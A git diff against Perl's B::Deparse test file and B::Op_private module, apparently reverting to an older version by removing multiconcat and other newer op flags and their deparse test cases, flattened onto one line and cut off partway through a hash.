AUTHOR diff --git a/lib/B/Deparse.t b/lib/B/Deparse.t index 2451ce5e7744..7eeb4f813b24 100644 --- a/lib/B/Deparse.t +++ b/lib/B/Deparse.t @@ -1,19 +1,19 @@ #!./perl BEGIN { - splice @INC, 0, 0, 't', '.'; + unshift @INC, 't'; require Config; if (($Config::Config{'extensions'} !~ /\bB\b/) ){ print "1..0 # Skip -- Perl configured without B module\n"; exit 0; } - require 'test.pl'; + require './test.pl'; } use warnings; use strict; -my $tests = 52; # not counting those in the __DATA__ section +my $tests = 46; # not counting those in the __DATA__ section use B::Deparse; my $deparse = B::Deparse->new(); @@ -63,7 +63,7 @@ while () { new B::Deparse split /,/, $meta{options} : $deparse; - my $code = "$meta{context};\n" . <<'EOC' . "sub {$input\n}"; + my $coderef = eval "$meta{context};\n" . <<'EOC' . "sub {$input\n}"; # Tell B::Deparse about our ambient pragmas my ($hint_bits, $warning_bits, $hinthash); BEGIN { @@ -75,14 +75,10 @@ $deparse->ambient_pragmas ( '%^H' => $hinthash, ); EOC - my $coderef = eval $code; local $::TODO = $meta{todo}; if ($@) { - is($@, "", "compilation of $desc") - or diag "=============================================\n" - . "CODE:\n--------\n$code\n--------\n" - . "=============================================\n"; + is($@, "", "compilation of $desc"); } else { my $deparsed = $deparse->coderef2text( $coderef ); @@ -152,21 +148,6 @@ $a =~ s/-e syntax OK\n//g; is($a, "use constant ('PI', 4);\n", "Proxy Constant Subroutines must not show up as (incorrect) prototypes"); -$a = `$^X $path "-MO=Deparse" -e "sub foo(){1}" 2>&1`; -$a =~ s/-e syntax OK\n//g; -is($a, "sub foo () {\n 1;\n}\n", - "Main prog consisting of just a constant (via empty proto)"); - -$a = readpipe qq|$^X $path "-MO=Deparse"| - .qq| -e "package F; sub f(){0} sub s{}"| - .qq| -e "#line 123 four-five-six"| - .qq| -e "package G; sub g(){0} sub s{}" 2>&1|; -$a =~ s/-e syntax OK\n//g; -like($a, qr/sub F::f \(\) \{\s*0;?\s*}/, - "Constant is dumped in package in which other subs are dumped"); -unlike($a, qr/sub g/, - "Constant is not dumped in package in which other subs are not dumped"); - #Re: perlbug #35857, patch #24505 #handle warnings::register-ed packages properly. package B::Deparse::Wrapper; @@ -546,22 +527,6 @@ unlike runperl(stderr => 1, switches => [ '-MO=-qq,Deparse', $path, '-w' ], qr'Use of uninitialized value', 'no warnings for undefined sub'; -is runperl(stderr => 1, switches => [ '-MO=-qq,Deparse', $path ], - prog => 'sub f { 1; } BEGIN { *g = \&f; }'), - "sub f {\n 1;\n}\nsub BEGIN {\n *g = \\&f;\n}\n", - "sub glob alias shouldn't impede emitting original sub"; - -is runperl(stderr => 1, switches => [ '-MO=-qq,Deparse', $path ], - prog => 'package Foo; sub f { 1; } BEGIN { *g = \&f; }'), - "package Foo;\nsub f {\n 1;\n}\nsub BEGIN {\n *g = \\&f;\n}\n", - "sub glob alias outside main shouldn't impede emitting original sub"; - -is runperl(stderr => 1, switches => [ '-MO=-qq,Deparse', $path ], - prog => 'package Foo; sub f { 1; } BEGIN { *Bar::f = \&f; }'), - "package Foo;\nsub f {\n 1;\n}\nsub BEGIN {\n *Bar::f = \\&f;\n}\n", - "sub glob alias in separate package shouldn't impede emitting original sub"; - - done_testing($tests); __DATA__ @@ -1438,48 +1403,11 @@ s/X//r; use feature 'unicode_strings'; s/X//d; #### -# tr/// with all the flags: empty replacement -tr/B-G//; -tr/B-G//c; -tr/B-G//d; -tr/B-G//s; -tr/B-G//cd; -tr/B-G//ds; -tr/B-G//cs; -tr/B-G//cds; -tr/B-G//r; -#### -# tr/// with all the flags: short replacement -tr/B-G/b/; -tr/B-G/b/c; -tr/B-G/b/d; -tr/B-G/b/s; -tr/B-G/b/cd; -tr/B-G/b/ds; -tr/B-G/b/cs; -tr/B-G/b/cds; -tr/B-G/b/r; -#### -# tr/// with all the flags: equal length replacement -tr/B-G/b-g/; -tr/B-G/b-g/c; -tr/B-G/b-g/s; -tr/B-G/b-g/cs; -tr/B-G/b-g/r; -#### -# tr with extended table (/c) -tr/\000-\375/AB/c; -tr/\000-\375/A-C/c; -tr/\000-\375/A-D/c; -tr/\000-\375/A-I/c; -tr/\000-\375/AB/cd; -tr/\000-\375/A-C/cd; -tr/\000-\375/A-D/cd; -tr/\000-\375/A-I/cd; -tr/\000-\375/AB/cds; -tr/\000-\375/A-C/cds; -tr/\000-\375/A-D/cds; -tr/\000-\375/A-I/cds; +# all the flags (tr///) +tr/X/Y/c; +tr/X//d; +tr/X//s; +tr/X//r; #### # [perl #119807] s//\(3)/ge should not warn when deparsed (\3 warns) s/foo/\(3);/eg; @@ -2049,7 +1977,7 @@ no warnings "experimental::lexical_subs"; my sub f {} print f(); >>>> -BEGIN {${^WARNING_BITS} = "\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55\x55"} +BEGIN {${^WARNING_BITS} = "\x54\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55"} my sub f { } @@ -2062,7 +1990,7 @@ no warnings 'experimental::lexical_subs'; state sub f {} print f(); >>>> -BEGIN {${^WARNING_BITS} = "\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55\x55"} +BEGIN {${^WARNING_BITS} = "\x54\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55"} state sub f { } @@ -2609,7 +2537,7 @@ $x++; no warnings; use feature 'signatures'; my $x; -my $f = sub : prototype($$) ($a, $b) { +sub ($a, $b) : prototype($$) { $x++; } ; @@ -2619,7 +2547,7 @@ $x++; no warnings; use feature 'signatures'; my $x; -my $f = sub : prototype($$) lvalue ($a, $b) { +sub ($a, $b) : prototype($$) lvalue { $x++; } ; @@ -2629,7 +2557,7 @@ $x++; no warnings; use feature 'signatures'; my $x; -my $f = sub : lvalue method ($a, $b) { +sub ($a, $b) : lvalue method { $x++; } ; @@ -2682,384 +2610,3 @@ sub ($a, $=) { $a; } ; -#### -# padrange op within pattern code blocks -/(?{ my($x, $y) = (); })/; -my $a; -/$a(?{ my($x, $y) = (); })/; -my $r1 = qr/(?{ my($x, $y) = (); })/; -my $r2 = qr/$a(?{ my($x, $y) = (); })/; -#### -# don't remove pattern whitespace escapes -/a\ b/; -/a\ b/x; -/a\ b/; -/a\ b/x; -#### -# my attributes -my $s1 :foo(f1, f2) bar(b1, b2); -my @a1 :foo(f1, f2) bar(b1, b2); -my %h1 :foo(f1, f2) bar(b1, b2); -my($s2, @a2, %h2) :foo(f1, f2) bar(b1, b2); -#### -# my class attributes -package Foo::Bar; -my Foo::Bar $s1 :foo(f1, f2) bar(b1, b2); -my Foo::Bar @a1 :foo(f1, f2) bar(b1, b2); -my Foo::Bar %h1 :foo(f1, f2) bar(b1, b2); -my Foo::Bar ($s2, @a2, %h2) :foo(f1, f2) bar(b1, b2); -package main; -my Foo::Bar $s3 :foo(f1, f2) bar(b1, b2); -my Foo::Bar @a3 :foo(f1, f2) bar(b1, b2); -my Foo::Bar %h3 :foo(f1, f2) bar(b1, b2); -my Foo::Bar ($s4, @a4, %h4) :foo(f1, f2) bar(b1, b2); -#### -# avoid false positives in my $x :attribute -'attributes'->import('main', \my $x1, 'foo(bar)'), my $y1; -'attributes'->import('Fooo', \my $x2, 'foo(bar)'), my $y2; -#### -# hash slices and hash key/value slices -my(@a, %h); -our(@oa, %oh); -@a = @h{'foo', 'bar'}; -@a = %h{'foo', 'bar'}; -@a = delete @h{'foo', 'bar'}; -@a = delete %h{'foo', 'bar'}; -@oa = @oh{'foo', 'bar'}; -@oa = %oh{'foo', 'bar'}; -@oa = delete @oh{'foo', 'bar'}; -@oa = delete %oh{'foo', 'bar'}; -#### -# keys optimised away in void and scalar context -no warnings; -; -our %h1; -my($x, %h2); -%h1; -keys %h1; -$x = %h1; -$x = keys %h1; -%h2; -keys %h2; -$x = %h2; -$x = keys %h2; -#### -# eq,const optimised away for (index() == -1) -my($a, $b); -our $c; -$c = index($a, $b) == 2; -$c = rindex($a, $b) == 2; -$c = index($a, $b) == -1; -$c = rindex($a, $b) == -1; -$c = index($a, $b) != -1; -$c = rindex($a, $b) != -1; -$c = (index($a, $b) == -1); -$c = (rindex($a, $b) == -1); -$c = (index($a, $b) != -1); -$c = (rindex($a, $b) != -1); -#### -# eq,const,sassign,madmy optimised away for (index() == -1) -my($a, $b); -my $c; -$c = index($a, $b) == 2; -$c = rindex($a, $b) == 2; -$c = index($a, $b) == -1; -$c = rindex($a, $b) == -1; -$c = index($a, $b) != -1; -$c = rindex($a, $b) != -1; -$c = (index($a, $b) == -1); -$c = (rindex($a, $b) == -1); -$c = (index($a, $b) != -1); -$c = (rindex($a, $b) != -1); -#### -# plain multiconcat -my($a, $b, $c, $d, @a); -$d = length $a . $b . $c; -$d = length($a) . $b . $c; -print '' . $a; -push @a, ($a . '') * $b; -unshift @a, "$a" * ($b . ''); -print $a . 'x' . $b . $c; -print $a . 'x' . $b . $c, $d; -print $b . $c . ($a . $b); -print $b . $c . ($a . $b); -print $b . $c . @a; -print $a . "\x{100}"; -#### -# double-quoted multiconcat -my($a, $b, $c, $d, @a); -print "${a}x\x{100}$b$c"; -print "$a\Q$b\E$c\Ua$a\E\Lb$b\uc$c\E$a${b}c$c"; -print "A=$a[length 'b' . $c . 'd'] b=$b"; -print "A=@a B=$b"; -print "\x{101}$a\x{100}"; -$a = qr/\Q -$b $c -\x80 -\x{100} -\E$c -/; -#### -# sprintf multiconcat -my($a, $b, $c, $d, @a); -print sprintf("%s%s%%%sx%s\x{100}%s", $a, $b, $c, scalar @a, $d); -#### -# multiconcat with lexical assign -my($a, $b, $c, $d, $e, @a); -$d = 'foo' . $a; -$d = "foo$a"; -$d = $a . ''; -$d = 'foo' . $a . 'bar'; -$d = $a . $b; -$d = $a . $b . $c; -$d = $a . $b . $c . @a; -$e = ($d = $a . $b . $c); -$d = !$a . $b . $c; -$a = $b . $c . ($a . $b); -$e = f($d = !$a . $b) . $c; -$d = "${a}x\x{100}$b$c"; -f($d = !$a . $b . $c); -#### -# multiconcat with lexical my -my($a, $b, $c, $d, $e, @a); -my $d1 = 'foo' . $a; -my $d2 = "foo$a"; -my $d3 = $a . ''; -my $d4 = 'foo' . $a . 'bar'; -my $d5 = $a . $b; -my $d6 = $a . $b . $c; -my $e7 = ($d = $a . $b . $c); -my $d8 = !$a . $b . $c; -my $d9 = $b . $c . ($a . $b); -my $da = f($d = !$a . $b) . $c; -my $dc = "${a}x\x{100}$b$c"; -f(my $db = !$a . $b . $c); -my $dd = $a . $b . $c . @a; -#### -# multiconcat with lexical append -my($a, $b, $c, $d, $e, @a); -$d .= ''; -$d .= $a; -$d .= "$a"; -$d .= 'foo' . $a; -$d .= "foo$a"; -$d .= $a . ''; -$d .= 'foo' . $a . 'bar'; -$d .= $a . $b; -$d .= $a . $b . $c; -$d .= $a . $b . @a; -$e .= ($d = $a . $b . $c); -$d .= !$a . $b . $c; -$a .= $b . $c . ($a . $b); -$e .= f($d .= !$a . $b) . $c; -f($d .= !$a . $b . $c); -$d .= "${a}x\x{100}$b$c"; -#### -# multiconcat with expression assign -my($a, $b, $c, @a); -our($d, $e); -$d = 'foo' . $a; -$d = "foo$a"; -$d = $a . ''; -$d = 'foo' . $a . 'bar'; -$d = $a . $b; -$d = $a . $b . $c; -$d = $a . $b . @a; -$e = ($d = $a . $b . $c); -$a["-$b-"] = !$a . $b . $c; -$a[$b]{$c}{$d ? $a : $b . $c} = !$a . $b . $c; -$a = $b . $c . ($a . $b); -$e = f($d = !$a . $b) . $c; -$d = "${a}x\x{100}$b$c"; -f($d = !$a . $b . $c); -#### -# multiconcat with expression concat -my($a, $b, $c, @a); -our($d, $e); -$d .= 'foo' . $a; -$d .= "foo$a"; -$d .= $a . ''; -$d .= 'foo' . $a . 'bar'; -$d .= $a . $b; -$d .= $a . $b . $c; -$d .= $a . $b . @a; -$e .= ($d .= $a . $b . $c); -$a["-$b-"] .= !$a . $b . $c; -$a[$b]{$c}{$d ? $a : $b . $c} .= !$a . $b . $c; -$a .= $b . $c . ($a . $b); -$e .= f($d .= !$a . $b) . $c; -$d .= "${a}x\x{100}$b$c"; -f($d .= !$a . $b . $c); -#### -# multiconcat with CORE::sprintf -# CONTEXT sub sprintf {} -my($a, $b); -my $x = CORE::sprintf('%s%s', $a, $b); -#### -# multiconcat with backticks -my($a, $b); -our $x; -$x = `$a-$b`; -#### -# multiconcat within qr// -my($r, $a, $b); -$r = qr/abc\Q$a-$b\Exyz/; -#### -# tr with unprintable characters -my $str; -$str = 'foo'; -$str =~ tr/\cA//; -#### -# CORE::foo special case in bareword parsing -print $CORE::foo, $CORE::foo::bar; -print @CORE::foo, @CORE::foo::bar; -print %CORE::foo, %CORE::foo::bar; -print $CORE::foo{'a'}, $CORE::foo::bar{'a'}; -print &CORE::foo, &CORE::foo::bar; -print &CORE::foo(), &CORE::foo::bar(); -print \&CORE::foo, \&CORE::foo::bar; -print *CORE::foo, *CORE::foo::bar; -print stat CORE::foo::, stat CORE::foo::bar; -print CORE::foo:: 1; -print CORE::foo::bar 2; -#### -# trailing colons on glob names -no strict 'vars'; -$Foo::::baz = 1; -print $foo, $foo::, $foo::::; -print @foo, @foo::, @foo::::; -print %foo, %foo::, %foo::::; -print $foo{'a'}, $foo::{'a'}, $foo::::{'a'}; -print &foo, &foo::, &foo::::; -print &foo(), &foo::(), &foo::::(); -print \&foo, \&foo::, \&foo::::; -print *foo, *foo::, *foo::::; -print stat Foo, stat Foo::::; -print Foo 1; -print Foo:::: 2; -#### -# trailing colons mixed with CORE -no strict 'vars'; -print $CORE, $CORE::, $CORE::::; -print @CORE, @CORE::, @CORE::::; -print %CORE, %CORE::, %CORE::::; -print $CORE{'a'}, $CORE::{'a'}, $CORE::::{'a'}; -print &CORE, &CORE::, &CORE::::; -print &CORE(), &CORE::(), &CORE::::(); -print \&CORE, \&CORE::, \&CORE::::; -print *CORE, *CORE::, *CORE::::; -print stat CORE, stat CORE::::; -print CORE 1; -print CORE:::: 2; -print $CORE::foo, $CORE::foo::, $CORE::foo::::; -print @CORE::foo, @CORE::foo::, @CORE::foo::::; -print %CORE::foo, %CORE::foo::, %CORE::foo::::; -print $CORE::foo{'a'}, $CORE::foo::{'a'}, $CORE::foo::::{'a'}; -print &CORE::foo, &CORE::foo::, &CORE::foo::::; -print &CORE::foo(), &CORE::foo::(), &CORE::foo::::(); -print \&CORE::foo, \&CORE::foo::, \&CORE::foo::::; -print *CORE::foo, *CORE::foo::, *CORE::foo::::; -print stat CORE::foo::, stat CORE::foo::::; -print CORE::foo:: 1; -print CORE::foo:::: 2; -#### -# \&foo -my sub foo { - 1; -} -no strict 'vars'; -print \&main::foo; -print \&{foo}; -print \&bar; -use strict 'vars'; -print \&main::foo; -print \&{foo}; -print \&main::bar; -#### -# exists(&foo) -my sub foo { - 1; -} -no strict 'vars'; -print exists &main::foo; -print exists &{foo}; -print exists &bar; -use strict 'vars'; -print exists &main::foo; -print exists &{foo}; -print exists &main::bar; -# precedence of optimised-away 'keys' (OPpPADHV_ISKEYS/OPpRV2HV_ISKEYS) -my($r1, %h1, $res); -our($r2, %h2); -$res = keys %h1; -$res = keys %h2; -$res = keys %$r1; -$res = keys %$r2; -$res = keys(%h1) / 2 - 1; -$res = keys(%h2) / 2 - 1; -$res = keys(%$r1) / 2 - 1; -$res = keys(%$r2) / 2 - 1; -#### -# ditto in presence of sub keys {} -# CONTEXT sub keys {} -no warnings; -my($r1, %h1, $res); -our($r2, %h2); -CORE::keys %h1; -CORE::keys(%h1) / 2; -$res = CORE::keys %h1; -$res = CORE::keys %h2; -$res = CORE::keys %$r1; -$res = CORE::keys %$r2; -$res = CORE::keys(%h1) / 2 - 1; -$res = CORE::keys(%h2) / 2 - 1; -$res = CORE::keys(%$r1) / 2 - 1; -$res = CORE::keys(%$r2) / 2 - 1; -#### -# concat: STACKED: ambiguity between .= and optimised nested -my($a, $b); -$b = $a . $a . $a; -(($a .= $a) .= $a) .= $a; -#### -# multiconcat: $$ within string -my($a, $x); -$x = "${$}abc"; -$x = "\$$a"; -#### -# single state aggregate assignment -# CONTEXT use feature "state"; -state @a = (1, 2, 3); -state %h = ('a', 1, 'b', 2); -#### -# state var with attribute -# CONTEXT use feature "state"; -state $x :shared; -state $y :shared = 1; -state @a :shared; -state @b :shared = (1, 2); -state %h :shared; -state %i :shared = ('a', 1, 'b', 2); -#### -# \our @a shouldn't be a list -my $r = \our @a; -my(@l) = \our((@b)); -@l = \our(@c, @d); -#### -# postfix $# -our(@b, $s, $l); -$l = (\my @a)->$#*; -(\@b)->$#* = 1; -++(\my @c)->$#*; -$l = $#a; -$#a = 1; -$l = $#b; -$#b = 1; -my $r; -$l = $r->$#*; -$r->$#* = 1; -$l = $#{@$r;}; -$#{$r;} = 1; -$l = $s->$#*; -$s->$#* = 1; -$l = $#{@$s;}; -$#{$s;} = 1; diff --git a/lib/B/Op_private.pm b/lib/B/Op_private.pm index 64ea3df4eda4..e07907cb68ae 100644 --- a/lib/B/Op_private.pm +++ b/lib/B/Op_private.pm @@ -118,7 +118,7 @@ package B::Op_private; our %bits; -our $VERSION = "5.029000"; +our $VERSION = "5.026002"; $bits{$_}{3} = 'OPpENTERSUB_AMPER' for qw(entersub rv2cv); $bits{$_}{6} = 'OPpENTERSUB_DB' for qw(entersub rv2cv); @@ -130,15 +130,14 @@ $bits{$_}{2} = 'OPpFT_STACKED' for qw(ftatime ftbinary ftblk ftchr ftctime ftdir $bits{$_}{3} = 'OPpFT_STACKING' for qw(ftatime ftbinary ftblk ftchr ftctime ftdir fteexec fteowned fteread ftewrite ftfile ftis ftlink ftmtime ftpipe ftrexec ftrowned ftrread ftrwrite ftsgid ftsize ftsock ftsuid ftsvtx fttext fttty ftzero); $bits{$_}{1} = 'OPpHINT_STRICT_REFS' for qw(entersub multideref rv2av rv2cv rv2gv rv2hv rv2sv); $bits{$_}{5} = 'OPpHUSH_VMSISH' for qw(dbstate nextstate); -$bits{$_}{6} = 'OPpINDEX_BOOLNEG' for qw(index rindex); $bits{$_}{1} = 'OPpITER_REVERSED' for qw(enteriter iter); $bits{$_}{7} = 'OPpLVALUE' for qw(leave leaveloop); $bits{$_}{6} = 'OPpLVAL_DEFER' for qw(aelem helem multideref); -$bits{$_}{7} = 'OPpLVAL_INTRO' for qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multiconcat multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split); +$bits{$_}{7} = 'OPpLVAL_INTRO' for qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split); $bits{$_}{2} = 'OPpLVREF_ELEM' for qw(lvref refassign); $bits{$_}{3} = 'OPpLVREF_ITER' for qw(lvref refassign); -$bits{$_}{3} = 'OPpMAYBE_LVSUB' for qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr values vec); -$bits{$_}{4} = 'OPpMAYBE_TRUEBOOL' for qw(padhv ref rv2hv); +$bits{$_}{3} = 'OPpMAYBE_LVSUB' for qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr vec); +$bits{$_}{4} = 'OPpMAYBE_TRUEBOOL' for qw(padhv rv2hv); $bits{$_}{7} = 'OPpOFFBYONE' for qw(caller runcv wantarray); $bits{$_}{5} = 'OPpOPEN_IN_CRLF' for qw(backtick open); $bits{$_}{4} = 'OPpOPEN_IN_RAW' for qw(backtick open); @@ -149,7 +148,7 @@ $bits{$_}{6} = 'OPpPAD_STATE' for qw(lvavref lvref padav padhv padsv pushmark re $bits{$_}{7} = 'OPpPV_IS_UTF8' for qw(dump goto last next redo); $bits{$_}{6} = 'OPpREFCOUNTED' for qw(leave leaveeval leavesub leavesublv leavewrite); $bits{$_}{2} = 'OPpSLICEWARNING' for qw(aslice hslice padav padhv rv2av rv2hv); -$bits{$_}{4} = 'OPpTARGET_MY' for qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiconcat multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid); +$bits{$_}{4} = 'OPpTARGET_MY' for qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid); $bits{$_}{5} = 'OPpTRANS_COMPLEMENT' for qw(trans transr); $bits{$_}{7} = 'OPpTRANS_DELETE' for qw(trans transr); $bits{$_}{0} = 'OPpTRANS_FROM_UTF' for qw(trans transr); @@ -157,7 +156,7 @@ $bits{$_}{6} = 'OPpTRANS_GROWS' for qw(trans transr); $bits{$_}{2} = 'OPpTRANS_IDENTICAL' for qw(trans transr); $bits{$_}{3} = 'OPpTRANS_SQUASH' for qw(trans transr); $bits{$_}{1} = 'OPpTRANS_TO_UTF' for qw(trans transr); -$bits{$_}{5} = 'OPpTRUEBOOL' for qw(grepwhile index length padav padhv pos ref rindex rv2av rv2hv subst); +$bits{$_}{5} = 'OPpTRUEBOOL' for qw(padhv rv2hv); my @bf = ( { @@ -245,7 +244,7 @@ my @bf = ( }, ); -@{$bits{aassign}}{6,5,4,2,1,0} = ('OPpASSIGN_COMMON_SCALAR', 'OPpASSIGN_COMMON_RC1', 'OPpASSIGN_COMMON_AGG', 'OPpASSIGN_TRUEBOOL', $bf[1], $bf[1]); +@{$bits{aassign}}{6,5,4,1,0} = ('OPpASSIGN_COMMON_SCALAR', 'OPpASSIGN_COMMON_RC1', 'OPpASSIGN_COMMON_AGG', $bf[1], $bf[1]); $bits{abs}{0} = $bf[0]; @{$bits{accept}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @{$bits{add}}{1,0} = ($bf[1], $bf[1]); @@ -285,7 +284,7 @@ $bits{chroot}{0} = $bf[0]; @{$bits{close}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); $bits{closedir}{0} = $bf[0]; $bits{complement}{0} = $bf[0]; -@{$bits{concat}}{6,1,0} = ('OPpCONCAT_NESTED', $bf[1], $bf[1]); +@{$bits{concat}}{1,0} = ($bf[1], $bf[1]); $bits{cond_expr}{0} = $bf[0]; @{$bits{connect}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @{$bits{const}}{6,4,3,2,1} = ('OPpCONST_BARE', 'OPpCONST_ENTERED', 'OPpCONST_STRICT', 'OPpCONST_SHORTCIRCUIT', 'OPpCONST_NOVER'); @@ -295,7 +294,7 @@ $bits{cos}{0} = $bf[0]; $bits{dbmclose}{0} = $bf[0]; @{$bits{dbmopen}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); $bits{defined}{0} = $bf[0]; -@{$bits{delete}}{6,5,0} = ('OPpSLICE', 'OPpKVSLICE', $bf[0]); +@{$bits{delete}}{6,0} = ('OPpSLICE', $bf[0]); @{$bits{die}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @{$bits{divide}}{1,0} = ($bf[1], $bf[1]); $bits{dofile}{0} = $bf[0]; @@ -439,7 +438,6 @@ $bits{method_super}{0} = $bf[0]; @{$bits{msgget}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @{$bits{msgrcv}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @{$bits{msgsnd}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); -@{$bits{multiconcat}}{6,5,3,0} = ('OPpMULTICONCAT_APPEND', 'OPpMULTICONCAT_FAKE', 'OPpMULTICONCAT_STRINGIFY', $bf[0]); @{$bits{multideref}}{5,4,0} = ('OPpMULTIDEREF_DELETE', 'OPpMULTIDEREF_EXISTS', $bf[0]); @{$bits{multiply}}{1,0} = ($bf[1], $bf[1]); @{$bits{nbit_and}}{1,0} = ($bf[1], $bf[1]); @@ -459,7 +457,6 @@ $bits{or}{0} = $bf[0]; $bits{orassign}{0} = $bf[0]; $bits{ord}{0} = $bf[0]; @{$bits{pack}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); -$bits{padhv}{0} = 'OPpPADHV_ISKEYS'; @{$bits{padrange}}{6,5,4,3,2,1,0} = ($bf[5], $bf[5], $bf[5], $bf[5], $bf[5], $bf[5], $bf[5]); @{$bits{padsv}}{5,4} = ($bf[8], $bf[8]); @{$bits{pipe_op}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @@ -499,7 +496,7 @@ $bits{rmdir}{0} = $bf[0]; $bits{rv2av}{0} = $bf[0]; @{$bits{rv2cv}}{7,5,0} = ('OPpENTERSUB_NOPAREN', 'OPpMAY_RETURN_CONSTANT', $bf[0]); @{$bits{rv2gv}}{6,5,4,2,0} = ('OPpALLOW_FAKE', $bf[8], $bf[8], 'OPpDONT_INIT_GV', $bf[0]); -$bits{rv2hv}{0} = 'OPpRV2HV_ISKEYS'; +$bits{rv2hv}{0} = $bf[0]; @{$bits{rv2sv}}{5,4,0} = ($bf[8], $bf[8], $bf[0]); @{$bits{sassign}}{7,6,1,0} = ('OPpASSIGN_CV_TO_GV', 'OPpASSIGN_BACKWARDS', $bf[1], $bf[1]); @{$bits{sbit_and}}{1,0} = ($bf[1], $bf[1]); @@ -538,7 +535,7 @@ $bits{sin}{0} = $bf[0]; $bits{snetent}{0} = $bf[0]; @{$bits{socket}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @{$bits{sockpair}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); -@{$bits{sort}}{7,6,4,3,2,1,0} = ('OPpSORT_UNSTABLE', 'OPpSORT_STABLE', 'OPpSORT_DESCEND', 'OPpSORT_INPLACE', 'OPpSORT_REVERSE', 'OPpSORT_INTEGER', 'OPpSORT_NUMERIC'); +@{$bits{sort}}{6,5,4,3,2,1,0} = ('OPpSORT_STABLE', 'OPpSORT_QSORT', 'OPpSORT_DESCEND', 'OPpSORT_INPLACE', 'OPpSORT_REVERSE', 'OPpSORT_INTEGER', 'OPpSORT_NUMERIC'); @{$bits{splice}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @{$bits{split}}{4,3,2} = ('OPpSPLIT_ASSIGN', 'OPpSPLIT_LEX', 'OPpSPLIT_IMPLIM'); @{$bits{sprintf}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]); @@ -598,9 +595,7 @@ our %defines = ( OPpASSIGN_COMMON_RC1 => 32, OPpASSIGN_COMMON_SCALAR => 64, OPpASSIGN_CV_TO_GV => 128, - OPpASSIGN_TRUEBOOL => 4, OPpAVHVSWITCH_MASK => 3, - OPpCONCAT_NESTED => 64, OPpCONST_BARE => 64, OPpCONST_ENTERED => 16, OPpCONST_NOVER => 2, @@ -634,10 +629,8 @@ our %defines = ( OPpFT_STACKING => 8, OPpHINT_STRICT_REFS => 2, OPpHUSH_VMSISH => 32, - OPpINDEX_BOOLNEG => 64, OPpITER_DEF => 8, OPpITER_REVERSED => 2, - OPpKVSLICE => 32, OPpLIST_GUESSED => 64, OPpLVALUE => 128, OPpLVAL_DEFER => 64, @@ -652,9 +645,6 @@ our %defines = ( OPpMAYBE_LVSUB => 8, OPpMAYBE_TRUEBOOL => 16, OPpMAY_RETURN_CONSTANT => 32, - OPpMULTICONCAT_APPEND => 64, - OPpMULTICONCAT_FAKE => 32, - OPpMULTICONCAT_STRINGIFY => 8, OPpMULTIDEREF_DELETE => 32, OPpMULTIDEREF_EXISTS => 16, OPpOFFBYONE => 128, @@ -663,7 +653,6 @@ our %defines = ( OPpOPEN_OUT_CRLF => 128, OPpOPEN_OUT_RAW => 64, OPpOUR_INTRO => 64, - OPpPADHV_ISKEYS => 1, OPpPADRANGE_COUNTMASK => 127, OPpPADRANGE_COUNTSHIFT => 7, OPpPAD_STATE => 64, @@ -671,16 +660,15 @@ our %defines = ( OPpREFCOUNTED => 64, OPpREPEAT_DOLIST => 64, OPpREVERSE_INPLACE => 8, - OPpRV2HV_ISKEYS => 1, OPpSLICE => 64, OPpSLICEWARNING => 4, OPpSORT_DESCEND => 16, OPpSORT_INPLACE => 8, OPpSORT_INTEGER => 2, OPpSORT_NUMERIC => 1, + OPpSORT_QSORT => 32, OPpSORT_REVERSE => 4, OPpSORT_STABLE => 64, - OPpSORT_UNSTABLE => 128, OPpSPLIT_ASSIGN => 16, OPpSPLIT_IMPLIM => 4, OPpSPLIT_LEX => 8, @@ -706,8 +694,6 @@ our %labels = ( OPpASSIGN_COMMON_RC1 => 'COM_RC1', OPpASSIGN_COMMON_SCALAR => 'COM_SCALAR', OPpASSIGN_CV_TO_GV => 'CV2GV', - OPpASSIGN_TRUEBOOL => 'BOOL', - OPpCONCAT_NESTED => 'NESTED', OPpCONST_BARE => 'BARE', OPpCONST_ENTERED => 'ENTERED', OPpCONST_NOVER => 'NOVER', @@ -740,10 +726,8 @@ our %labels = ( OPpFT_STACKING => 'FTSTACKING', OPpHINT_STRICT_REFS => 'STRICT', 